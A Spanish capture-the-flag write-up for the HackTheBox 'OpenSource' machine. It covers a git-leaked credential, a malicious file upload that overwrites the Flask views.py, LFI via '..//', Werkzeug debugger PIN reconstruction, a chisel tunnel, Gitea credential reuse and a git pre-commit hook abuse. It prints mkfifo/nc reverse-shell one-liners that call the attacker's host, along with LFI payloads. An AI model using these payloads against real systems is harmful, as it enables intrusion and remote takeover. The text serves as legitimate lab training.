the_open_door
café
ESEN

OpenSource

HackTheBoxFácilLinux10.10.11.164

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#flask#werkzeug#git-leak#path-traversal#os-path-join#rce#docker-breakout#chisel#gitea#ssh-key#cron#git-hooks#oscp
TL;DR. El 80 sirve una app Flask que ofrece descargar su propio source.zip. El zip trae un repo git con una rama dev cuyo historial filtra dev01:Soulless_Developer#2022. El código (views.py) sube ficheros con os.path.join(base, filename): si el nombre empieza por /, descarta la base y escribe en ruta absoluta, así que se sobrescribe /app/app/views.py con una ruta /shell maliciosa → RCE como root dentro de un contenedor Docker (alternativa documentada: reconstruir el PIN del debugger de Werkzeug vía un LFI con ..//). Desde el contenedor, el host 172.17.0.1 expone un Gitea en el 3000; con chisel se reenvía, se entra reusando las credenciales de dev01 y se saca su id_rsa → SSH como dev01 (user). Para root, un cron ejecuta git-sync (un git commit) como root sobre el repo de dev01: un hook pre-commit con chmod u+s /bin/bash da root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.164

ping a 10.10.11.164: ttl=63 apunta a Linux

64 bytes from 10.10.11.164: icmp_seq=1 ttl=63 time=114 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Un barrido a todos los puertos TCP solo encuentra dos abiertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.164 -oG scan

el escaneo SYN completo descubre solo 22/ssh y 80/http, ambos con syn-ack ttl 63

Discovered open port 80/tcp on 10.10.11.164
Discovered open port 22/tcp on 10.10.11.164
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

extractPorts resume el fichero -oG y deja los puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.11.164 y puertos abiertos 22,80

Extracting information ...
IP Address: 10.10.11.164
Open ports: 22,80

El resultado se puede contrastar sin nmap, con un script propio que abre sockets a pelo. La idea es la de siempre (echo '' > /dev/tcp/<ip>/<port> con timeout), pero lanzando 100 en paralelo para que no tarde una eternidad:

nano portsDiscovery.sh
cat portsDiscovery.sh
chmod +x portsDiscovery.sh

el portsDiscovery.sh escrito a mano: colores, trap de Ctrl+C y el bucle de 1 a 65535 lanzando 100 hilos con timeout y /dev/tcp

#!/bin/bash

# Colours
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"

function ctrl_c(){
    echo -e "\n\n${redColour}[!] Saliendo... ${endColour}\n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis # Ocultar el cursor

echo
counter=0
top_counter=100

for port in $(seq 1 65535); do
    if [ $counter -eq $top_counter ]; then
        echo -e "\n${yellowColour}[+]${endColour}${grayColour} Lanzando 100 hilos ${top_counter}/65535${endColour}\n"
        wait
        let top_counter+=100
    fi

    timeout 1 bash -c "echo '' > /dev/tcp/10.10.11.164/$port" 2>/dev/null && echo -e "${yellowColour}[+]${endColour}${grayColour} Puerto${endColour}${blueColour} $port${endColour} ${grayColour}- OPEN${endColour}" &

    let counter+=1
done; wait

tput cnorm
#!/bin/bash

function ctrl_c(){
        echo -e "\n\n[!] Saliendo...\n"
        tput cnorm; exit 1
}
trap ctrl_c INT
tput civis      # Ocultar el cursor

counter=0
top_counter=100

for port in $(seq 1 65535); do
        if [ $counter -eq $top_counter ]; then
                echo -e "\n[+] Lanzando 100 hilos [$top_counter/65535]\n"
                wait
                let top_counter+=100
        fi

        timeout 1 bash -c "echo '' > /dev/tcp/10.10.11.164/$port" 2>/dev/null && echo -e "[+] Puerto $port - OPEN" &

        let counter+=1
done; wait

tput cnorm
./portsDiscovery.sh

el script propio confirma los puertos 22 y 80 abiertos dentro de los primeros 100, y se corta con Ctrl+C

[+] Lanzando 100 hilos [100/65535]

[+] Puerto 22 - OPEN
[+] Puerto 80 - OPEN

[+] Lanzando 100 hilos [200/65535]
^C
[!] Saliendo...

El trap ctrl_c INT es lo que permite cortarlo a mitad sin dejar el cursor oculto ni cien procesos colgando. Mismos dos puertos que nmap, esta vez sin depender de ninguna herramienta.

Un -sCV dirigido sobre esos dos revela SSH y una app Flask (Werkzeug) en el 80:

nmap -p22,80 -sCV 10.10.11.164

nmap -sCV: OpenSSH 7.6 y Werkzeug 2.1.2 / Python 3.10.3

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu
80/tcp open  http    Werkzeug/2.1.2 Python/3.10.3

Werkzeug + Flask es relevante: arrastra de fondo posibles LFI, SSTI y, sobre todo, el debugger interactivo si está en modo debug.

TCP 80 - Enumeración web

whatweb confirma lo que ya apuntaba el -sCV y pone nombre a la aplicación:

whatweb 10.10.11.164

whatweb sobre 10.10.11.164: HTTPServer Werkzeug/2.1.2 Python/3.10.3, Bootstrap, JQuery 3.4.1 y el título upcloud - Upload files for Free!

http://10.10.11.164 [200 OK] Bootstrap, HTTPServer[Werkzeug/2.1.2 Python/3.10.3],
IP[10.10.11.164], JQuery[3.4.1], Python[3.10.3], Script,
Title[upcloud - Upload files for Free!], Werkzeug[2.1.2]

Wappalyzer añade la pieza que whatweb deja implícita: por debajo del Werkzeug hay un Flask 2.1.2 sobre Python 3.10.3.

Wappalyzer sobre 10.10.11.164: Flask 2.1.2 aparece a la vez en Web frameworks y en Web servers, con Python 3.10.3, jQuery 3.4.1 y Bootstrap

Web frameworks     Flask 2.1.2
Web servers        Flask 2.1.2
Programming languages   Python 3.10.3
JavaScript libraries    jQuery 3.4.1
UI frameworks           Bootstrap

Esas dos versiones exactas van a hacer falta más adelante, cuando haya que reconstruir el PIN del debugger: el algoritmo del PIN cambió entre versiones de Werkzeug, y la ruta de flask/app.py depende de la versión de Python.

La aplicación se llama upcloud y su función es subir ficheros, así que el vector probable es la subida. El código fuente de la portada añade el matiz que lo confirma y, de paso, delata la ruta de descarga:

Código fuente de la portada: la app upcloud dice no requerir autenticación y enlaza a /download

<h3 class="display-3">Welcome to upcloud!</h3>
<p>Transfer files for free & share them without registration with your friends</p>

<h2>Simple</h2>
<p>upcloud is flexible, and scales well. Uploaded files can be shared across users in seconds with a
   simple link. Since we are big fans of the KISS principle, there is no authentication required in our
   system, so you don't have to remember complicated passwords.</p>

<a href="/download" class="btn btn-primary my-2">Download</a>

"There is no authentication required in our system": la propia web anuncia que cualquiera puede subir ficheros. Un barrido de rutas con dirsearch destapa dos endpoints que llaman la atención, /download y /console:

dirsearch sobre 10.10.11.164: /download y /console

gobuster con un diccionario grande (220.000 palabras) confirma que no hay nada más: esos dos son toda la superficie.

gobuster dir -u http://10.10.11.164 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404

gobuster recorre 220565 palabras y solo encuentra /download (200, 2489147 bytes) y /console (200, 1563 bytes)

/download             (Status: 200) [Size: 2489147]
/console              (Status: 200) [Size: 1563]
Progress: 220564 / 220565 (100.00%)

El /console de 1563 bytes es la consola del debugger de Werkzeug (volveremos a ella); el /download de 2,4 MB es el botón de la portada, que entrega un source.zip con el código fuente de la propia aplicación:

la web ofrece descargar source.zip

Fuga de credenciales en el repo git

Se descomprime el source.zip y aparece el proyecto entero, incluido el Dockerfile y el build-docker.sh (la app corre en un contenedor, dato que importará después):

mv ~/Downloads/source.zip .
unzip source.zip
ls

unzip de source.zip: Dockerfile, app, build-docker.sh, config y el propio source.zip

Dockerfile  app  build-docker.sh  config  source.zip

Un ls -a revela lo que el ls normal escondía: el zip trae también un directorio .git, es decir, el historial completo del desarrollo. El git log de la rama activa solo tiene dos commits inocuos, pero git branch delata que existe otra rama, dev:

ls -a
cd .git
git log
git branch

ls -a revela el directorio .git; git log muestra dos commits en public y git branch lista las ramas dev y public

.git  Dockerfile  app  build-docker.sh  config  source.zip

commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
    clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
    initial

  dev
* public

La rama publicada se llama literalmente public y la otra dev: alguien separó lo que quería enseñar de lo que no. Inspeccionando los commits de dev aparece un .vscode/settings.json con un http.proxy que lleva credenciales embebidas:

git log dev --oneline
git show a76f8f7

git show en la rama dev: http.proxy con dev01:Soulless_Developer#2022

"http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/"

Credenciales dev01:Soulless_Developer#2022. Lo barato es probarlas donde antes: el SSH del 22.

ssh dev01@10.10.11.164

el intento de SSH como dev01 termina en Permission denied (publickey)

The authenticity of host '10.10.11.164 (10.10.11.164)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
dev01@10.10.11.164: Permission denied (publickey).

Permission denied (publickey) no significa que la contraseña sea mala: significa que el servidor ni siquiera pide contraseña, porque su PasswordAuthentication está desactivado y solo admite clave pública. La credencial puede seguir siendo buena en otro sitio, así que se guarda para más tarde (y de hecho acabará sirviendo); el vector de entrada está en la web.

Shell como root (contenedor)

La instancia de pruebas

La portada, además del Download, ofrece un botón Take me there! que lleva a la instancia real de upcloud (/upcloud), que es donde se sube de verdad:

Sección Try upcloud de la portada con el botón Take me there! resaltado junto al de Download

Try upcloud
To explore the full extent of upcloud, please checkout the links below.
For setting up, download and unzip the package if you haven't already.
[ Download ]
You wanna take some time to explore the interface? We also provide immediate access to an upcloud test
instance.
[ Take me there! ]

Y esa instancia es, sencillamente, un formulario de subida:

La instancia de pruebas de upcloud: un área de Drag &amp; Drop to Upload File con los botones Browse File y Upload!

Drag & Drop to Upload File
OR
[ Browse File ]
[ Upload! ]

Vía 1: Abuso de os.path.join al subir ficheros

Como tenemos el código fuente, no hay que adivinar cómo trata la subida: en app/app/views.py la ruta destino se construye con os.path.join(os.getcwd(), "public", "uploads", file_name). Leído el código, se comprueba el comportamiento en un intérprete de Python local:

cat views.py
python3

views.py construye file_path con os.path.join y, en el intérprete, un componente que empieza por / descarta todo lo anterior

# views.py
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)

La trampa de os.path.join en Python: si un componente empieza por /, descarta todo lo anterior.

>>> os.path.join(os.getcwd(), "public", "uploads", 'test')
'/home/krmena/machines/opensource/content/app/app/public/uploads/test'
>>> os.path.join(os.getcwd(), "public", "uploads", '/test')
'/test'
>>> os.path.join(os.getcwd(), "public", "uploads", '/etc/passwd')
'/etc/passwd'

Es decir, si el nombre del fichero subido empieza por /, escribimos en ruta absoluta (con los permisos del proceso web). El objetivo: sobrescribir el propio views.py con una versión que añada una ruta /shell que ejecute una reverse shell.

Se prepara el views.py malicioso con un @app.route('/shell'):

@app.route('/shell')
def cmd():
    return os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f')

Es una copia literal del views.py original con esas tres líneas añadidas al final, para no romper el resto de rutas de la aplicación:

La copia de views.py en /tmp conserva las rutas originales y añade al final @app.route('/shell') con el os.system de la reverse shell

Para cambiar el filename hay que interceptar la petición, así que se apunta el navegador a Burp con FoxyProxy y se activa el Intercept antes de tocar el formulario:

El formulario Drag &amp; Drop de /upcloud con FoxyProxy conmutado al perfil burp y Burp con Intercept is on

Se elige el views.py preparado en el diálogo de subida y se pulsa Upload!:

Diálogo de selección de fichero con views.py (842 bytes) marcado y el botón Open

La petición queda retenida en Burp, y ahí se sustituye el filename por la ruta absoluta /app/app/views.py:

Burp: filename reemplazado por /app/app/views.py

Flask recarga el módulo (modo debug) y, al pedir /shell, dispara la conexión:

sudo nc -nlvp 443
curl http://10.10.11.164/shell

reverse shell recibida como root dentro del contenedor

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.164] 37633
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app # hostname
0a1890d96160

La shell entra como root, pero es el root de un contenedor Docker (lo confirmaremos enseguida). El hostname 0a1890d96160 (un ID hexadecimal de 12 dígitos) es la firma típica de un contenedor.

El tratamiento de TTY habitual no vale aquí, y eso ya dice mucho de dónde estamos: la imagen es tan mínima que no trae script ni bash.

script /dev/null -c bash
which bash

en la shell del contenedor, script devuelve script: not found y which bash no devuelve nada

/app # script /dev/null -c bash
/bin/sh: script: not found
/app # which bash
/app #

Lo que sí hay es Python, así que el PTY se levanta con pty.spawn sobre el /bin/sh disponible:

python3 -c 'import pty;pty.spawn("/bin/sh")'
# Ctrl+Z
stty raw -echo; fg
reset xterm

Y al ajustar el terminal aparece el mismo patrón: ni stty escrito de memoria funciona a la primera, y el SHELL que se exporta es /bin/sh, no bash, porque bash no existe en la imagen.

export TERM=xterm SHELL=/bin/sh
stty rows 49 cols 236

se exportan TERM y SHELL=/bin/sh y se ajusta el tamaño a 49 filas por 236 columnas dentro del contenedor

/app # export TERM=xterm SHELL=/bin/sh
/app # stty rows 49 cols 236
/app #

Vía 2 (alternativa): PIN del debugger de Werkzeug vía LFI

El /console que encontró el gobuster es la consola interactiva del debugger de Werkzeug, que aparece cuando Flask corre en modo debug. No está abierta: pide un PIN.

La consola interactiva de Werkzeug en /console con el diálogo Console Locked pidiendo el PIN

Interactive Console
In this console you can execute Python expressions in the context of the application. The initial
namespace was created by the debugger automatically.

Console Locked
The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on
the standard output of your shell that runs the server.

PIN: [            ]  [ Confirm Pin ]

Ese PIN se imprime en la salida estándar del servidor, que no vemos. Pero no es aleatorio: Werkzeug lo deriva de un puñado de valores del sistema, así que con una lectura de ficheros se puede reconstruir.

La lectura sale del propio código que ya descargamos. La segunda ruta de views.py, /uploads/<path:path>, devuelve el fichero que se le pida pasándolo por el mismo os.path.join:

views.py: la ruta /uploads/&lt;path:path&gt; pasa el parámetro por get_file_name y os.path.join antes de send_file

@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

El saneo lo hace get_file_name, en app/app/utils.py, y ahí está el fallo:

utils.py: get_file_name llama a recursive_replace para eliminar la secuencia ../ del nombre

def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

recursive_replace borra ../ en bucle hasta que no queda ninguna, así que los trucos habituales (....//) no sirven. Pero borra la cadena exacta ../, y en ..//etc/passwd lo que hay antes de la barra doble es .. seguido de /, que tras eliminar el primer / deja /etc/passwd intacto. Sumado al os.path.join de antes (la ruta absoluta descarta el prefijo), sale un path traversal completo. El --path-as-is evita que curl normalice la ruta por su cuenta:

curl 'http://10.10.11.164/uploads/..//etc/passwd' --path-as-is

el LFI con ..// lee /etc/passwd; la página del debugger filtra el SECRET

FileNotFoundError: [Errno 2] No such file or directory: '/app/public/uploads/etc/passwd'
// Werkzeug Debugger
    var CONSOLE_MODE = false,
        EVALEX = true,
        EVALEX_TRUSTED = false,
        SECRET = "534BYAciSYtKhHS9xZrr";
...
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

Con la LFI ya se puede leer cualquier fichero, pero hace falta saber cuáles. La receta está documentada en HackTricks, que es la referencia habitual para este tipo de metodología:

Búsqueda de HackTricks, la wiki de metodología de pentesting

Buscando werkzeug dentro de la wiki, el resultado es exactamente la sección que hace falta:

Buscador de HackTricks con werkzeug: la entrada 80,443 - Pentesting Web Methodology, Werkzeug / Flask Debug, Werkzeug Console PIN Exploit

80,443 - Pentesting Web Methodology » Werkzeug / Flask Debug » Werkzeug Console PIN Exploit [Book]
generated PIN matches the one expected by the Werkzeug console. tip If you are on an old version of
Werkzeug, try changing the hashing algorithm to md5 instead of sha1.

La página trae el script que genera el PIN y, sobre todo, la lista exacta de ingredientes: los probably_public_bits (usuario del proceso, nombre del módulo, clase de la app y ruta de app.py) y los private_bits (la MAC de la interfaz en decimal y el machine-id):

Script de HackTricks para generar el PIN de Werkzeug con probably_public_bits y private_bits

probably_public_bits = [
    'web3_user',                                            # username
    'flask.app',                                            # modname
    'Flask',                                                # getattr(app, '__name__', ...)
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'   # getattr(mod, '__file__', None)
]

private_bits = [
    '279275995014060',                    # str(uuid.getnode()), /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'    # get_machine_id(), /etc/machine-id
]

Antes de reconstruirlo, merece la pena descartar el atajo: como tenemos el repositorio entero, ¿estará el PIN escrito en algún sitio? Un grep recursivo sobre .git solo devuelve una coincidencia, y dentro de un objeto binario comprimido, donde la palabra Pin aparece por casualidad entre bytes.

grep -ri 'PIN' .git
grep -ri 'PIN' .git --text

grep -ri PIN sobre .git: la única coincidencia es un objeto binario, y al forzar --text solo se ven bytes ilegibles

# grep -ri 'PIN' .git
grep: .git/objects/77/3ad95c56f8321eb4901736930024ec517a948a: binary file matches

El PIN no está en el repositorio: es un valor que Werkzeug calcula en cada arranque, así que hay que calcularlo igual que él.

Es decir: cada uno de esos seis valores se obtiene leyendo un fichero concreto de la víctima, y para eso tenemos la LFI. Los probably_public_bits salen de /proc/self/environ (el usuario) y de la propia traza de error (la ruta de flask/app.py); los private_bits, de /sys/class/net/eth0/address (la MAC, que hay que convertir a decimal) y del machine-id, que en un contenedor no está en /etc/machine-id sino que se compone de /proc/sys/kernel/random/boot_id más la línea de /proc/self/cgroup.

Uno de esos valores no hace falta ni leerlo de un fichero: la ruta de flask/app.py la regala la propia página de error del debugger. Y provocar el error es tan simple como pulsar Upload! sin haber elegido ningún fichero:

el área de subida de upcloud con el botón verde Upload! resaltado y ningún fichero seleccionado

Flask intenta guardar en la ruta del directorio y revienta, mostrando la traza completa con la ruta exacta del Flask instalado:

Traceback de IsADirectoryError en el debugger: la primera línea apunta a /usr/local/lib/python3.10/site-packages/flask/app.py

IsADirectoryError: [Errno 21] Is a directory: '/app/public/uploads/'

File "/usr/local/lib/python3.10/site-packages/flask/app.py", line 2095, in __call__
File "/app/app/views.py", line 25, in upload_file
    f.save(file_path)

Con eso ya se pueden rellenar los probably_public_bits: el usuario es root (lo confirmó la propia consola más adelante, y es lo habitual en estos contenedores), el módulo y la clase son los que trae el propio script, y la ruta es la que acaba de regalar el traceback.

werkzeugPinGenerator.py con los probably_public_bits rellenos: root como usuario y la ruta /usr/local/lib/python3.10/site-packages/flask/app.py resaltadas

probably_public_bits = [
    'root',                                                    # username
    'flask.app',                                               # modname
    'Flask',                                                   # getattr(app, '__name__', ...)
    '/usr/local/lib/python3.10/site-packages/flask/app.py'     # getattr(mod, '__file__', None)
]

Los private_bits sí hay que leerlos de la víctima, uno a uno, con la misma LFI. Son tres lecturas y una conversión:

curl 'http://10.10.11.164/uploads/..//sys/class/net/eth0/address' --path-as-is
curl 'http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id' --path-as-is --ignore-content-length
curl 'http://10.10.11.164/uploads/..//proc/self/cgroup' --path-as-is --ignore-content-length
python3

Las tres lecturas por LFI, con flechas que llevan la MAC convertida a decimal, el boot_id y el id de contenedor del cgroup a sus huecos en los private_bits del script

# MAC de eth0
02:42:ac:11:00:08

# boot_id
d61d40ac-4c0e-41c1-aafd-b5d1e0db2cc7

# /proc/self/cgroup (el id del contenedor se repite en cada línea)
1:name=systemd:/docker/c148d21b6789606062a55a5ff65f4b6db35129fba2a126cb779cfcc51709bba0

# la MAC, en decimal
>>> print(0x0242ac110008)
2485377892360

El --ignore-content-length no es adorno: /proc declara tamaño 0, así que sin esa opción curl corta la respuesta. Y el machine-id del contenedor no es un valor suelto, sino la concatenación del boot_id con el identificador que aparece en el cgroup.

Con los seis valores reunidos se rellena el script (ajustando la versión de Python, que aquí es la 3.10 y no la 3.5 del ejemplo, y dejando sha1 como algoritmo porque el Werkzeug es reciente):

werkzeugPinGenerator.py preparado con los probably_public_bits y private_bits de la máquina y el hash sha1

nano werkzeugPinGenerator.py
python3 werkzeugPinGenerator.py

python3 werkzeugPinGenerator.py imprimiendo 359-435-058

# python3 werkzeugPinGenerator.py
359-435-058

El PIN que imprime, 359-435-058, es el que acepta el diálogo:

El diálogo Console Locked con el PIN 359-435-058 introducido y el botón Confirm Pin

Con él se desbloquea /console, y ahí ya hay un intérprete de Python dentro del proceso de la aplicación. Un os.popen("whoami") confirma que corre como root, y el mismo one-liner de reverse shell devuelve la conexión:

>>> import os
>>> os.popen("whoami").read().strip()
>>> os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f").read()

La consola de Werkzeug desbloqueada ejecuta whoami devolviendo root, y el nc del atacante recibe la shell

[console ready]
>>> import os
>>> os.popen("whoami").read().strip()
'root'
>>> os.popen("hostname").read().strip()
'c148d21b6789'

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.164] 33165
/bin/sh: can't access tty; job control turned off
/app # whoami
root

Es una segunda ruta al mismo punto, y merece la pena conocerla porque el debugger de Werkzeug expuesto es un patrón que se repite en cualquier Flask mal desplegado.

Shell como dev01 (host)

Docker breakout: localizar el host

La shell es de un contenedor. El ip a lo confirma: la interfaz es una eth0 en la 172.17.0.0/16, el rango por defecto del bridge de Docker, y con MAC 02:42:..., el prefijo que Docker asigna a sus contenedores. En esa red el .1 es siempre el host, y responde:

ip a
ping -c 1 172.17.0.1

ip a muestra eth0 con 172.17.0.8/16 y MAC 02:42:ac:11:00:08; el ping a 172.17.0.1 responde con ttl=64

16: eth0@if17: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:ac:11:00:08 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.8/16 brd 172.17.255.255 scope global eth0

PING 172.17.0.1 (172.17.0.1): 56 data bytes
64 bytes from 172.17.0.1: seq=0 ttl=64 time=0.064 ms

El ttl=64 sin decrementar confirma que el host está a un salto, en la misma red. Ahora hay que ver qué expone, y en el contenedor no hay nmap. El truco habitual de bash (/dev/tcp) tampoco vale aquí, porque la shell del contenedor es la sh de BusyBox y ese pseudo-dispositivo es una extensión de bash:

echo '' > /dev/tcp/172.17.0.1/22
nc 172.17.0.1 22 -zv

El intento con /dev/tcp falla con nonexistent directory, mientras que nc 172.17.0.1 22 -zv devuelve open

/app # echo '' > /dev/tcp/172.17.0.1/22
/bin/sh: can't create /dev/tcp/172.17.0.1/22: nonexistent directory
/app # nc 172.17.0.1 22 -zv
172.17.0.1 (172.17.0.1:22) open

Lo que sí hay es nc, así que se recorren los puertos con él:

for port in $(seq 0 65535); do nc 172.17.0.1 $port -zv; done

el barrido con nc contra 172.17.0.1 devuelve abiertos el 22, el 80, el 3000 y una serie 6000-6007

172.17.0.1 (172.17.0.1:22) open
172.17.0.1 (172.17.0.1:80) open
172.17.0.1 (172.17.0.1:3000) open
172.17.0.1 (172.17.0.1:6000) open
172.17.0.1 (172.17.0.1:6001) open
...
172.17.0.1 (172.17.0.1:6007) open

El 22 y el 80 ya los conocíamos desde fuera, pero el 3000 es nuevo: no estaba en el escaneo inicial, lo que significa que solo escucha en la interfaz interna de Docker. Ese puerto es el típico de Gitea. Para alcanzarlo desde el atacante se reenvía con chisel (servidor en el atacante, cliente en la víctima):

El binario se saca de los releases del repositorio, eligiendo la compilación linux_amd64 que encaja con la arquitectura de la víctima:

La página de releases de jpillora/chisel con chisel_1.11.3_linux_amd64.gz resaltado en la lista de assets y en el panel de descargas del navegador

Assets (82)
  chisel_1.11.3_checksums.txt
  chisel_1.11.3_darwin_amd64.gz     4.07 MB
  ...
  chisel_1.11.3_linux_amd64.gz      4 MB

Se descomprime, se renombra y se sirve por HTTP desde el atacante:

cp /home/krmena/Downloads/chisel_1.11.3_linux_amd64.gz .
gunzip chisel_1.11.3_linux_amd64.gz
mv chisel_1.11.3_linux_amd64 chisel
python3 -m http.server 80

cp, gunzip y mv del binario de chisel, y el http.server sirviendo el directorio en el puerto 80

# ls
chisel_1.11.3_linux_amd64   werkzeugPinGenerator.py

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

El binario de chisel se sirve desde el atacante y se baja al /tmp del contenedor, que es donde hay permiso de escritura:

# víctima (contenedor)
wget http://10.10.16.6:8000/chisel
chmod +x chisel
ls

wget de chisel al /tmp del contenedor: 9,7M descargados y chmod +x

/tmp # wget http://10.10.16.6:8000/chisel
Connecting to 10.10.16.6:8000 (10.10.16.6:8000)
saving to 'chisel'
chisel               100% |*********************|  9.7M  0:00:00 ETA
'chisel' saved
/tmp # chmod +x chisel

Con el binario a ambos lados se monta el túnel inverso: el servidor escucha en el atacante y el cliente, desde el contenedor, publica el 3000 del host Docker:

# atacante
./chisel server --reverse -p 1234
# víctima (contenedor)
./chisel client 10.10.16.6:1234 R:3000:172.17.0.1:3000

chmod +x chisel y ./chisel server --reverse -p 1234 en el atacante: Reverse tunnelling enabled y Listening on http://0.0.0.0:1234

# ./chisel server --reverse -p 1234
2025/10/01 15:17:22 server: Reverse tunnelling enabled
2025/10/01 15:17:22 server: Fingerprint G4PXonM/XbF4erXYjlcpcGWX7O93uMjv7onHopbO+rg=
2025/10/01 15:17:22 server: Listening on http://0.0.0.0:1234

chisel reenvía el 3000 del host Docker al atacante

/tmp # ./chisel client 10.10.16.6:1234 R:3000:172.17.0.1:3000
2025/10/01 13:17:58 client: Connecting to ws://10.10.16.6:1234
2025/10/01 13:18:00 client: Connected (Latency 102.346167ms)

El túnel se comprueba en el atacante: el 3000 local ya lo tiene abierto el proceso de chisel.

lsof -i:3000

lsof -i:3000 en el atacante muestra el proceso chisel escuchando en TCP *:3000

COMMAND  PID     USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
chisel   343997 root   8u  IPv6 983955      0t0  TCP *:3000 (LISTEN)

Gitea: reutilización de credenciales → id_rsa

En 127.0.0.1:3000 hay un Gitea. Aquí es donde por fin sirve la credencial que el SSH rechazó: las dev01:Soulless_Developer#2022 filtradas en el repo git entran sin problema (reutilización de credenciales: una credencial hallada se prueba en todos los servicios, porque reutilizarlas es lo habitual).

Login de Gitea en localhost:3000 (a través del túnel) con dev01 y Soulless_Developer#2022

localhost:3000/user/login?redirect_to=%2f
Sign In
Username or Email Address: dev01
Password: Soulless_Developer#2022
[ Sign In ]

Entre sus repos privados hay una clave SSH privada:

login en Gitea con dev01 y un repo con la id_rsa

Se guarda la clave, permisos 600 y SSH como dev01 (esta vez al host, no al contenedor):

nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa dev01@10.10.11.164

ssh -i id_rsa dev01@10.10.11.164 entra en un Ubuntu 18.04.5; el banner muestra eth0 10.10.11.164 y docker0 172.17.0.1, y whoami devuelve dev01

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

  System load:  0.0    Processes:              221
  Usage of /:   75.6%  Users logged in:        0
  Memory usage: 22%    IP address for eth0:    10.10.11.164
  Swap usage:   0%     IP address for docker0: 172.17.0.1

dev01@opensource:~$ whoami
dev01

El banner confirma el salto: esta sesión ve eth0 con la 10.10.11.164 (la IP pública de la máquina) y docker0 con la 172.17.0.1 (el gateway del contenedor del que veníamos). Ya estamos en el host.

La flag de usuario:

cat user.txt como dev01

a71e70c716926e21589a7979cfcbdee2

Escalada a root

Cron git-sync + hook pre-commit

Sin pistas obvias en sudo -l, se monitorizan los procesos con un script en bash (a falta de pspy (repo)):

#!/bin/bash
old=$(ps -eo command)
while true; do
  new=$(ps -eo command)
  diff <(echo "$old") <(echo "$new") | grep '[<>]' | grep -vE 'command|procmon|kworker'
  old=$new
done

procmon.sh escrito con nano y verificado con cat: el bucle compara la salida de ps -eo command consigo misma y filtra el ruido

Ejecutándolo y esperando, el cron aparece solo:

procmon.sh captura un cron que ejecuta git-sync

> /usr/sbin/CRON -f
> /bin/sh -c /usr/local/bin/git-sync
> /bin/bash /usr/local/bin/git-sync
> git push origin main
> /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
...

Aparece un cron que ejecuta /usr/local/bin/git-sync como root. El script hace un git add/git commit sobre el repo de /home/dev01:

cat /usr/local/bin/git-sync

git-sync ejecuta git commit sobre el repo de dev01

#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

Aquí entra el abuso de git hooks: git ejecuta scripts (hooks) antes o después de ciertas acciones. La documentación de GTFOBins lo recoge como técnica genérica, y el ejemplo usa precisamente el hook pre-commit:

Documentación del abuso de git hooks: son simples scripts de shell y el ejemplo emplea el hook pre-commit

Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit
action is used. Any other hook will work, just make sure to be able perform the proper action to trigger
it. An existing repository can also be used [...]

TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
